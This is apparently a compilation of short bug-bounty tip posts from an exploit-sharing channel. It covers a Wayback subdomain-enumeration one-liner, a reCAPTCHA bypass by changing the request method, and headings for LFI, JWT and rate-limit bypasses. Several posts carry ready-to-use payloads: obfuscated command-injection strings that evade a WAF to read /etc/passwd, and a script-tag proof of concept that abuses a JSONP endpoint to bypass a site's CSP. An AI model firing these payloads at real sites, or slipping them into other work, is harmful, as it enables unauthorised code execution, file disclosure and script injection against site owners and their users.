Top 25 Local File Inclusion (LFI) Parameters

#bugbounty #ethicalhacking
——————
0Day.Today
@LearnExploit
@Tech_Army

ways to bypass json web token controls

#bugbounty
——————
0Day.Today
@LearnExploit
@Tech_Army

RCE Parameters For newbie Bug Bounty Hunters

#bugbounty
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Not only crawling but you can do Subdomain Enumeration using Wayback.

curl --insecure --silent "http://web.archive.org/cdx/search/cdx…" | sed -e 's_https*://__' -e "s/\/.*//" -e 's/:.*//' -e 's/^www\.//' | sed "/@/d" | sed -e 's/\.$//' | sort -u

#bugbounty
——————
0Day.Today
@LearnExploit
@Tech_Army

Bypassing Rate Limit Protection

Github

#bypass #bugbounty
——————
0Day.Today
@LearnExploit
@Tech_Army

Bypass Captcha (Google reCAPTCHA)

1 . Try changing the request method, for example POST to GET
POST / HTTP 1.1
Host: http://target.com
...

_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123

#bugbounty #bypass
——————
0Day.Today
@LearnExploit
@Tech_Army

RCE WAF Bypass

;+$u+cat+/etc$u/passwd$u
;+$u+cat+/etc$u/passwd+\#
/???/??t+/???/??ss??
/?in/cat+/et?/passw?

#bugbounty #RCE #bypass
——————
0Day.Today
@LearnExploit
@Tech_Army

You can bypass CSP on any website that allows http://microsoft.com in a script-src

PoC: <script src=http://microsoft.com/en-us/research/wp-json?_jsonp=alert></script>

This works because of the WordPress CSP bypass our engineer (octagon) found last year :

octagon.net

#BugBounty #bypass #POC
——————‌
0Day.Today
@LearnExploit
@Tech_Army